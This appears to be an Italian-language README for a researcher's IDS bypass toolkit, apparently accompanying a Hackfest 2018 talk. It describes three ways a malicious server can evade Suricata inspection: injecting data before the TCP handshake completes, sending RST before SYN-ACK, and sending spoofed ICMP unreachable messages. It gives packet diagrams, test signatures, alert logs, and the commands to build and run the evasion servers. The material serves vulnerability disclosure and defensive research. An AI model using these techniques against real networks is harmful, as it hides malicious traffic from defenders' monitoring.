
Trucchi di bypass IDS
Questi programmi sono SOLO a scopo educativo. Non utilizzarli senza autorizzazione.
Se come server si altera l'ordine normale dei pacchetti del three-way handshake TCP e si iniettano dati di risposta prima del completamento del 3whs, i dati verranno comunque ricevuti dal client, ma alcuni motori IDS potrebbero saltare i controlli sul contenuto.
Client -> [SYN] [Seq=0 Ack=0] -> Evil Server # Client starts a TCP 3-way handshake
Client <- [SYN, ACK] [Seq=0 Ack=1] <- Evil Server # Server responses as it should, but ...
Client <- [PSH, ACK] [Seq=1 Ack=1] <- Evil Server # It sends HTTP response before the 3whs is completed
Client <- [FIN, ACK] [Seq=83 Ack=1] <- Evil Server # Moreover it finishes TCP session
Client -> [ACK] [Seq=1 Ack=84] -> Evil Server # Client finishes TCP 3whs by sending ACK packet and confirms data from server
Client -> [PSH, ACK] [Seq=1 Ack= 4] -> Evil Server # Then it sends a HTTP GET request as nothing wrong happened
Suricata IDS < 4.0.4 è vulnerabile a questo problema: le firme HTTP o Stream-TCP non genereranno allarmi per il contenuto iniettato. Non vediamo alcun allarme su dati di risposta HTTP malevoli se applichiamo le seguenti firme al traffico di rete del PoC:
alert tcp any any -> any any (msg: "TCP BEEN NO_STREAM RULE"; flow: no_stream; content: "been"; sid: 1; )
alert tcp any any -> any any (msg: "TCP BEEN ONLY_STREAM RULE"; flow: only_stream; content: "been"; sid: 2; )
alert http any any -> any any (msg: "HTTP BEEN RULE"; content: "been"; sid: 3; )
alert tcp any any -> any any (msg: "TCP GET NO_STREAM RULE"; flow: no_stream; content: "GET"; sid: 4; )
alert tcp any any -> any any (msg: "TCP GET ONLY_STREAM RULE"; flow: only_stream; content: "GET"; sid: 5; )
alert http any any -> any any (msg: "HTTP GET RULE"; content: "GET"; sid: 6; )
03/02/2018-11:08:13.012990 [**] [1:1:0] TCP BEEN NO_STREAM RULE [**] [Classification: (null)] [Priority: 3] {TCP} 192.168.235.101:80 -> 192.168.235.1:56581
03/02/2018-11:08:13.013610 [**] [1:4:0] TCP GET NO_STREAM RULE [**] [Classification: (null)] [Priority: 3] {TCP} 192.168.235.1:56581 -> 192.168.235.101:80
03/02/2018-11:08:13.018914 [**] [1:5:0] TCP GET ONLY_STREAM RULE [**] [Classification: (null)] [Priority: 3] {TCP} 192.168.235.1:56581 -> 192.168.235.101:80
03/02/2018-11:08:13.018914 [**] [1:6:0] HTTP GET RULE [**] [Classification: (null)] [Priority: 3] {TCP} 192.168.235.1:56581 -> 192.168.235.101:80
I client Windows sono in grado di elaborare dati TCP anche se arrivano poco dopo un pacchetto TCP RST. Alcuni IDS gestiscono correttamente la situazione e tentano di confrontare i dati dopo il RST, ma altri smettono di ispezionare il flusso TCP dopo aver ricevuto il RST.
Client -> [SYN] [Seq=0 Ack=0] -> Evil Server # Client starts a TCP 3-way handshake
Client <- [RST, ACK] [Seq=0x0 Ack=1] <- Evil Server # Server responses with TCP RST
Client <- [SYN, ACK] [Seq=1 Ack=1] <- Evil Server # And SYN-ACK shortly after RST
... 3whs continues ...
Suricata IDS è ancora vulnerabile a questo problema: le firme HTTP o Stream-TCP non genereranno allarmi per questa sessione TCP.
alert tcp any any -> any any (msg: "TCP BEEN NO_STREAM RULE"; flow: no_stream; content: "been"; sid: 1; )
alert tcp any any -> any any (msg: "TCP BEEN ONLY_STREAM RULE"; flow: only_stream; content: "been"; sid: 2; )
alert http any any -> any any (msg: "HTTP BEEN RULE"; content: "been"; sid: 3; )
alert tcp any any -> any any (msg: "TCP GET NO_STREAM RULE"; flow: no_stream; content: "GET"; sid: 4; )
alert tcp any any -> any any (msg: "TCP GET ONLY_STREAM RULE"; flow: only_stream; content: "GET"; sid: 5; )
alert http any any -> any any (msg: "HTTP GET RULE"; content: "GET"; sid: 6; )
05/03/2018-19:13:43.270632 [**] [1:4:0] TCP GET NO_STREAM RULE [**] [Classification: (null)] [Priority: 3] {TCP} 192.168.235.1:53434 -> 192.168.235.101:80
05/03/2018-19:13:43.471128 [**] [1:1:0] TCP BEEN NO_STREAM RULE [**] [Classification: (null)] [Priority: 3] {TCP} 192.168.235.101:80 -> 192.168.235.1:53434
Il server dovrebbe rispondere con un messaggio ICMP di tipo "Destination Unreachable" codice "Port Unreachable" se un pacchetto UDP è stato inviato a una porta UDP chiusa. L'IDS potrebbe interpretare le risposte ICMP Unreachable allo stesso modo dei pacchetti TCP RST e interrompere o limitare l'ispezione del traffico di questo flusso UDP. Se una normale risposta UDP segue il messaggio ICMP, l'attaccante aggira i controlli UDP sul traffico proveniente dal suo server. Nota che i client normali chiudono le connessioni se ricevono un ICMP Dest. Unreachable, quindi scambiamo gli indirizzi IP e le porte UDP nell'UDP allegato al messaggio ICMP in modo che il client non accetti tale messaggio ICMP, ma l'IDS lo faccia.
Client -> [UDP Req] -> Evil Server # Client starts UDP session by sending a packet
Client <- [ICMP] [Type=3, Code=3] <- Evil Server # Server responses with *improved* ICMP Destination Unreachable first
Client <- [UDP Resp] <- Evil Server # And with UDP answer as usual
Suricata IDS < 3.1.2 è vulnerabile a questo problema: le firme UDP non corrisponderanno ai pacchetti provenienti da Evil Server.
alert udp any any -> any any (msg: "UDP BEEN RULE"; content: "been"; sid: 1; )
alert udp any any -> any any (msg: "UDP HELLO RULE"; content: "hello"; sid: 2; )
05/03/2018-03:44:11.016635 [**] [1:2:0] UDP HELLO RULE [**] [Classification: (null)] [Priority: 3] {UDP} 192.168.235.100:46599 -> 192.168.235.101:80
Queste tecniche possono essere applicate ad altri sistemi di rilevamento di intrusioni o monitoraggio di rete.
Kirill Shipulin di Positive Technologies (@kirill_wow) Slide del mio talk a Hackfest 2018 disponibili
git clone https://github.com/kirillwow/ids_bypass.git
cd ids_bypass
make
# inject server
sudo iptables -A OUTPUT -p tcp --sport 80 --tcp-flags RST RST -j DROP
sudo ./inject_server # print help
sudo ./inject_server -i eno16777736 -p 80
# rst server
sudo iptables -A OUTPUT -p tcp -o eno16777736 --sport 80 -m owner --uid-owner 0 --tcp-flags RST RST -j ACCEPT
sudo iptables -A OUTPUT -p tcp -o eno16777736 --sport 80 --tcp-flags RST RST -j DROP
sudo ./rst_server # print help
sudo ./rst_server -i eno16777736 -p 80
# icmp server
sudo iptables -A OUTPUT -o eno16777736 -p icmp --icmp-type destination-unreachable -m owner --uid-owner 0 -j ACCEPT
sudo iptables -A OUTPUT -o eno16777736 -p icmp --icmp-type destination-unreachable -j DROP
sudo ./icmp_server # print help
sudo ./icmp_server -i eno16777736 -p 80
